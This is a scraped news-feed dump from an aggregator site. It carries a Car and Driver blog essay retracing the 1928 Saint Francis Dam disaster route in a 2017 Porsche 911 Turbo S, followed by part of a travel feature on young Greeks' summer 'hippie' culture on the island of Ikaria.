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]]> https://briefnews.eu/exclusive-tracing-isis-weapons-supply-chain-back-to-the-us/feed/ 0 What the Killers Left Us: Tracing the Saint Francis Dam Disaster in a 2017 Porsche 911 Turbo S https://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s-2/ https://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s-2/#respond Wed, 04 Oct 2017 08:15:49 +0000 http://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s-2/ –2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–2017 Porsche 911 Turbo S–What the Killers Left Us: Tracing the Saint Francis Dam Disaster in a 2017 Porsche 911 Turbo S–What the Killers Left Us: Tracing the Saint Francis Dam Disaster in a 2017 Porsche 911 Turbo S–What the Killers Left Us: Tracing the Saint Francis Dam Disaster in a 2017 Porsche 911 Turbo S–What the Killers Left Us: Tracing the Saint Francis Dam Disaster in a 2017 Porsche 911 Turbo S–What the Killers Left Us: Tracing the Saint Francis Dam Disaster in a 2017 Porsche 911 Turbo S–St. Francis Dam Collapse–St. Francis Dam Flood—

Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s-2/feed/ 0 What the Killers Left Us: Tracing the Saint Francis Dam Disaster in a 2017 Porsche 911 Turbo S https://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s/ https://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s/#respond Tue, 03 Oct 2017 18:19:58 +0000 http://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s/ 2017 Porsche 911 Turbo S

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William Mulholland was a ditch digger turned emperor, an Irish immigrant who presided over the transformation of Los Angeles from a dusty backwater settlement to the tail that wags the golden bear. Monterey Bay had been the first port of major import in California, and its namesake city was its first capital. San Francisco and Sacramento grew up as a result of the Gold Rush; the former was a debarkation point for the gold fields of the western Sierra, and the latter—at the crotch of the gold-bearing American River and the bay-connected Sacramento—thrived first on the comings and goings of those bound for golden glory, then as the state capital, profiting from the goings-on of governing what became the most populous state in the union. Los Angeles, though? Everybody knew that was nowhere.

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The Owens River

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The Owens River in 2008. Its parched valley was once an agricultural idyll. Its purloined waters filled the Saint Francis Reservoir via the Los Angeles Aqueduct.

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The semi-arid strip trapped between the Transverse Ranges and the Pacific was barely livable, with only the Los Angeles River to keep its thirst slaked. Its harbor, now one of the primary economic engines of California, was too shallow for any serious shipping without dredging. Because of its lack of habitable area owing to a paucity of fresh water, the City of Angels seemed to be doomed to its status as a town of little consequence. As the chief engineer of the Bureau of Water Works and Supply, Mulholland, with the aid of some of L.A.’s most prominent men, cajoled, connived, and some would say outright stole the water rights from farmers up in the Owens Valley, a remote area of agricultural land sandwiched between the majestic Eastern Sierra and the Inyo Mountains. In 1928, after having paved the way for a modern metropolis that dictates much of the way America thinks, eats, shops, listens, and views the West Coast, Mulholland’s seemingly unstoppable rise came to a shattering halt up on San Francisquito Creek.

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San Francisquito Creek

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In the heat of the summer, San Francisquito Creek is a completely unassuming trickle through a desert canyon northeast of Los Angeles.

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In the Los Angeles that Mulholland irrigated, a mid-century Eden built on the back of bustling aerospace, entertainment, and petroleum industries, Johnny von Neumann, an Austrian émigré, began selling Ferry Porsche’s little Volkswagen-based sports cars via his Competition Motors shop. Porsche has often regarded California as its most important market in the world, and von Neumann’s shop was the beachhead from which that market sprang. East Coast importer Max Hoffman’s idea for a stripped-down, open 356 found a home here, and there are few cars more emblematic of the Golden State’s salad days as the world’s automotive epicenter than the beloved Speedster.

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The area’s affluence, scenery, and obsession with the automobile all came together with the weather, which encouraged year-round cruises to the beach or blasts through the area’s numerous canyons. If Porsche’s literal home lies on the Swabian autobahn, Southern California played nearly as important a role in its development, standing as a finishing school with laureates including everything from the 356 to the Cayenne to the car I hustled up San Francisquito Canyon, a Miami Blue 2017 911 Turbo S.

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1978 Porsche 930

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The Porsche 930, first in a line of 911s to wear the Turbo badge.

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Conceived to homologate the 934 and 935 race cars for FIA groups 4 and 5 during the 1970s, Porsche’s original Turbo was venerated for its astonishing performance during an era when there wasn’t much performance to be had. It was also derided as a tricky-to-drive widowmaker. With the GT2 and GT3 models taking over as the hirsute, race-bred monsters of the line in the 1990s, the Turbo has gradually become a more friendly car, even as its performance numbers push into the rarefied air of all but the most exalted supercars. It’s a car as safe as milk for a Hollywood producer buried deep in his iPhone, yet ostentatious enough to let the masses know he spent plenty of money.

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2017 Porsche 911 Turbo S

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Its benefits and/or negative ramifications aside, the Los Angeles Aqueduct is a hugely impressive piece of engineering. As is the current 911 Turbo S.

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Some 35 miles northeast of Hollywood, in the mountains south of the dry Antelope Valley, the Santa Clara River rises up at the eastern edge of the Angeles National Forest. Just before little Acton, the Santa Clara is joined by the Aliso Canyon fork, and west of the town, the tributaries roll in one after another, feeding the river as it flows west toward Ventura. Mulholland had his eye on one tributary in particular: San Francisquito Creek. Designed to hold Owens Valley water from the Los Angeles Aqueduct in reserve, as well as to generate power for the city to its southwest, the Saint Francis Dam was a 205-foot-high edifice holding back 38,168 acre-feet of water, a thumb in the eye of an ecosystem seemingly bent on thwarting mass human habitation of the L.A. basin. With its western side built atop an old landslide, the detection of which was beyond the scope of 1920s equipment, the dam stood for only two years.

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Compared with Shasta, Oroville, Folsom, New Melones, Friant, and Trinity—major California dams that followed it during the golden age of Western dam building—Saint Francis held back a relatively small volume of water. In contrast, Northern California’s Shasta Dam impounds 4,552,000 acre-feet of Sacramento River water, creating the largest reservoir in the state. If drained, Lake Shasta could cover an area the size of Connecticut with more than a foot of water. In comparison, the capacity of Saint Francis Reservoir would have about the same effect on an area comparable to San Francisco. Still, as its residents will proudly tell you, San Francisco ain’t exactly nothin’, and when unleashed at three minutes to midnight on March 12, 1928, Saint Francis’s 12-billion-odd gallons carved a devastating path to the sea.

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Crews and area residents had been concerned with leaks along the structure’s western abutment, prompting Mulholland himself to come out for an inspection on the day of the collapse. While the old ditch tender judged that that section of the dam would require further work, he declared the dam safe. Within 24 hours, the Owens River water held at San Francisquito Creek would reach the Pacific at Ventura, more than 50 miles away.

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St. Francis Dam Tombstone

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The “tombstone” segment of St. Francis Dam after the structure’s failure.

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On some heavenly plane, the simple friar from Assisi surely wept as the dam that bore his name gave way, given the cost in human lives. It’s not known exactly how many people perished in the disaster, but estimates place the death toll between 400 and 600. As a man of nature, however, Saint Francis would appreciate the area of the dam site as it stands today. For years, San Francisquito Canyon Road ran right alongside the location of the mammoth structure’s collapse. In 2005, torrential rains washed out that section of the rural highway, leading authorities to establish a new right of way less prone to the ill effects of elemental whim. The old section is unceremoniously blocked off with a couple of Jersey barriers, with no sign to mark the significance of what lies beyond.

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St. Francis Dam Disaster Site

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Beyond the Jersey barriers lie the remains of San Francisquito Canyon Road’s old right of way, as well as the dam disaster site.

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Hop over them, amble down, and marvel at the work that 12 short years of human noninterference can do. In places, the two-lane blacktop isn’t even visible. Thickets of desert scrub have grown up around and through the pavement; a layer of silty soil has washed over it. In other spots, teenagers with aerosol cans and shotguns have left their marks on signs and asphalt. You have to know you’re looking to find remnants of the dam off to your left, and even then, it’s a guessing game without having viewed recently annotated photographs. The “tombstone” section of the dam, the portion left standing upright until it was dynamited in 1929, is well into its return to the soil. Toothlike concrete protrusions from its edge are the only clue that man was somehow involved in this reshaping of the landscape.

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St. Francis Dam Tombstone

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The tombstone today. It was dynamited a year after the dam’s collapse, and you wouldn’t recognize it unless you knew what you were looking for.

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After a hike back up the decommissioned stretch of road to the car, back down San Francisquito Canyon the Porsche and I went, eyeing the canyon walls for evidence of the scouring that 12 and a half billion gallons of water gave it 89 years ago, back toward the Santa Clara River, into Santa Clarita, now a a bedroom metropole with a population of nearly 182,000—as big as Los Angeles itself was during the first decade of the 20th century. At a stoplight, a man in a sano lifted and besnorkeled Toyota Land Cruiser rolled down his window and said, “I like your ride.”

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“Thanks, man. I like yours, too.”

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“I’ve got one too, an ’09 Turbo.”

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In 2009, you could still get a 911 Turbo with a manual transmission. A millennial Porschephile friend groused about the new Turbo S in dismissive internetese: “No manual, no care.” He drives a 912E, the bastard offspring of the ’70s G-model 911 and the four-cylinder 914 2.0. With the mid-engined 914 ending production and the 924 still a year out, the 912E—conceived as a stopgap for the 1976 model year—was too slow to live and too rare to die. Long scoffed at by 914 guys and 911 nerds alike, an E, like pretty much anything air-cooled these days, can now cost real money. It is, after all, the last Porsche to be produced with a pushrod valvetrain. A 912E with a 1970s slushbox in front of its engine sounds like an absolutely abysmal proposition, but in the Turbo S, the car is so completely ruled by technology that a third pedal would feel anachronistic. Porsche’s precise, lively psychic warrior of a dual-clutch box absolutely suits the character of the car.

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2017 Porsche 911 Turbo S

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Alongside State Route 126.

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If you want elemental, buy a classic, one where you feel the crack of the carburetor’s throat under the ball of your foot. Where the steering is an unboosted, kinetic delight. Where the whole thing is a contraption to be bent to your will, to be cajoled and manhandled into doing your bidding. If you want all that with a warranty, buy a motorcycle. The kind man at the Harley-Davidson store will happily sell you a brand-new air-cooled vehicle with a purposefully mechanical transmission, a chatty clutch, and the requirement of your utmost attention. Meanwhile, the Turbo S devoured San Francisquito Canyon Road with a speed and alacrity that would exhaust a young man on Aprilia’s techno-wizard RSV4 sport bike. In the Porsche, I did little but dart my eyes from entry to apex to exit to entry to apex to exit until the road ran out of entries, apexes, and exits.

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Yet the fallacy inherent in writing off the Turbo S as a soulless confab of computer-whiz gimcrackery is that it communicates. You want to dismiss it out of hand as a car for Beverly Hills plastic surgeons too dumb to buy a high-winding GT3, but you’d do so at your own peril. The front end natters away when you need it to, not as isolated as the early Carreras of the 991 generation. Press the PDCC button, for Porsche Dynamic Chassis Control. Depress it. It doesn’t seem to make a whole lot of difference. Twist the knob on the steering wheel to Sport, and it just does everything a little more quickly, though not necessarily better. The Turbo S is as it is, an implacable 205-mph rocket sled with a narration track at the helm, and changing its drive mode seems to change its character not a whit.

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2017 Porsche 911 Turbo S

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On the other side of Castaic Junction, where State Route 126 branches off from Interstate 5, a valley filled with farms and dotted with small towns carries the Santa Clara toward the sea. Piru, Santa Paula, Fillmore, and Saticoy were all swept up in the disaster’s path, the canyon’s 120-foot wall of water having broadened into a menacing freshwater tide. State Route 126 cuts right down the floodplain, and the Porsche excelled here, too, without whimper or complaint when the going got trafficky. On the straight highway sections, it rolled along pleasantly, as any other car would, its 580 horsepower wholly irrelevant. There were no tramlining histrionics, no unhappy low end of the powerband, no balkiness from the high-performance transmission. The Turbo S is as well behaved as an Accord. It’s hard to reconcile its docile and forgiving nature with the old 930’s reputation as a killer—one that spawned lawsuits against Porsche in the 1980s—just as it’s hard to imagine the desolate, windblown Owens Valley as an agricultural paradise. Or San Francisquito Canyon filled with water behind a dam whose remnants are very nearly part of the natural landscape at this point.

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Pressed for time, I didn’t exactly get to the mouth of the Santa Clara. I parked at the marina in Ventura for a moment, just north of the spot where the lifeless, formless jumble of rubble and bodies poured out into the Pacific. Music was playing. People were enjoying drinks as the evening summer sun hung low over the water. A light coastal mist lent the proceedings an ethereal, silver-gold glow. Indignation took over for a moment, and I thought to myself, “How can you guys party when almost 90 years ago, this place was littered with the dead, killed by the hand of a power-mad autodidact engineer bent on remaking the very fabric of this state?”

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2017 Porsche 911 Turbo S

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Of course, my rage was was a bit silly and impotent. Our culture, our infrastructure were built on the backs of the dead: men, women, and children who died in massacres or of disease brought across oceans. Men and women who died of old age in their beds. High steelworkers who fell to their doom. People killed in war and people killed by freak happenstance. To stave off death by starvation and thirst in inhospitable environs, they built aqueducts and planted acreage. To defend against death on the road, they added seatbelts and sensors and airbags, used materials more efficiently and effectively, and sent power to more wheels. When the money to be made and the glory to be earned is too good to resist, as it is in Los Angeles, as it is for Porsche, the resultant engineering astounds. And sometimes it kills. Humanity fumbles on, hoping that somehow, nobody ever actually disappears completely, optimistic that one day, science or faith will make that hope a reality.

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A week before I made my journey from the dam’s ruins to the sea, the United Kingdom announced that no new automobiles powered by internal combustion alone would be sold on its shores after 2040, which followed France’s announcement that they’d do away with petroleum-burning new cars within the same time frame. Surely, an announcement from Germany on the same topic is due within the next few years, and with Europe’s big players on board, as well as China’s heavy push toward electrification, it may be that 911 Turbo is well into late middle age as a nameplate. Or, given the Teutonic propensity toward unhinging model names from reality, perhaps they’ll just keep calling the most powerful, luxurious, all-wheel-drive electric 911s Turbos.

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Below the dam site, the reaction turbines of old Powerhouse #2 are still spinning big generators, still churning out 46 megawatts of electricity courtesy of Owens Valley water. One of the first casualties of the dam’s collapse, the electrical plant was quickly rebuilt following the debacle. And as long as enough snow falls in the Sierra Nevada to keep water flowing through the aqueduct, the future 911s of Los Angeles, the city that made Porsche, will owe some of their electrons to the man who made the city itself possible.

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Dam-Disaster-Porsche-911-Turbo-S-REEL

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Car and Driver BlogCar and Driver Blog

]]> https://briefnews.eu/what-the-killers-left-us-tracing-the-saint-francis-dam-disaster-in-a-2017-porsche-911-turbo-s/feed/ 0 There’s no crisis in paradise: Tracing Greece’s youth ‘hippie trail’ https://briefnews.eu/theres-no-crisis-in-paradise-tracing-greeces-youth-hippie-trail/ https://briefnews.eu/theres-no-crisis-in-paradise-tracing-greeces-youth-hippie-trail/#respond Tue, 26 Sep 2017 19:57:27 +0000 http://briefnews.eu/theres-no-crisis-in-paradise-tracing-greeces-youth-hippie-trail/
Alex King


Alex King September 26, 2017

In the midst of one of the worst financial crises the European Union has ever seen, young Greeks are finding freedom on the storied island of Ikaria. Athens-based journalist Alex King visits this new ‘hippie’ haven in search of the young people refusing the hand they’ve been dealt.

Time takes on an altogether different meaning on the Greek island of Ikaria. You can be three hours late to meet a complete stranger and arrive in the dead of night—you’ll still be greeted like an old friend, presented with a bottle of ouzo, and held in rapturous conversation into the early hours.

Or, so it goes when we trek up into the mountains in search of Angelos Kalokairinos—a man who’s perhaps the greatest authority on the rich history of this rugged and fiercely independent island in the Aegean Sea. “[People] search for freedom and dream of a different world, somewhere things can be different,” says Angelos when we finally find him. “And here, they are different.”

The roots of free culture were planted in 1971, explains Angelo, when a group of German Navy Scouts unloaded their amphibious camper vans in the dead of night and landed on Livadi Beach on Ikaria’s north coast. The locals, who preferred to swim and dive from the rocks, ignored the beaches and this strange camp of foreigners. But when the Germans returned home, word reached a group of anti-fascists in Frankfurt, who were determined not to let these ‘Nazi scouts’ make the beach their annual getaway spot.

The following summer, the secluded beach witnessed an intense power struggle, with the victorious Leftists establishing Livadi as a hippie haven—smoking weed, swimming naked in the crystal blue waters, and introducing a laidback, beach culture to Ikaria.

Angelos was one of the first Greeks to join the scruffy foreigners on the beach and indulge in their hedonistic delights. These were years of military dictatorship, when wearing long hair on the street was enough to get you hauled in by the secret police. But Ikaria has always danced to its own tune: Strong winds, rough seas and a lack of natural harbors have isolated the island, forcing residents to be self-sufficient. It was Ikaria’s distance from political power that provided the cover for Greece’s embryonic hippie trail to emerge.

The call of the wild seduces those with an adventurous spirit to return year after year, like 25-year-old Athens-based photographer Elena. The mass tourism that flourishes on the neighbouring island of Samos, just 15 kilometers (nine miles) away, holds no attraction for her; instead, she lives as a ‘princess of free culture’ for three months of the year, funded by working at a beach bar in Livadi. “Life in Athens is tough,” she says. “It’s a real struggle, but you can come here and feel totally free. For a short time, at least.”

Around midnight, the grouvaloi—as the locals call Peter and Elena’s penniless tribe— emerge from their tents, scattered across the island, to make a pilgrimage to the panigiria. Each coastal town or tiny village high in the mountains organises its own feast and dance. They’re free to attend, but volunteers sell alcohol and locally-prepared food, with profits going towards community improvements. Taking place in far-flung corners of the island, the only way is to hitchhike—and each journey is an opportunity to make new friends.

Tonight’s panigiri is in the port of Evdilos, where hundreds of people have joined hands and are swaying back and forth as one, moving in ever-tighter concentric circles. Before long, all the children and elders have gone home, leaving a bubbling throng of people united by the rhythms of centuries-old traditional music.

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For someone raised in London, on a diet of pre-recorded electronic music, it seems surreal to see my contemporaries dancing their hearts out to folk drums, violins and Greek lutes—but soon I’m hypnotised too, locking arms with the crowd and swept along by the music.

Later, Peter dips a piece of bread into a long-abandoned bowl of oily tomato salad. He speaks with a knowledge beyond his years and an occasional Scottish twang, acquired while studying in Glasgow. “Maybe previous generations did the same things we’re doing, but not because they had to,” he says. “If I don’t eat here, I’m going to starve until my boat home, because I literally have no money left. Now, it’s not just a lifestyle, it’s actually a way of living. Eating for free at the panigiri is one way to extend my summer, which is what it’s all about.”

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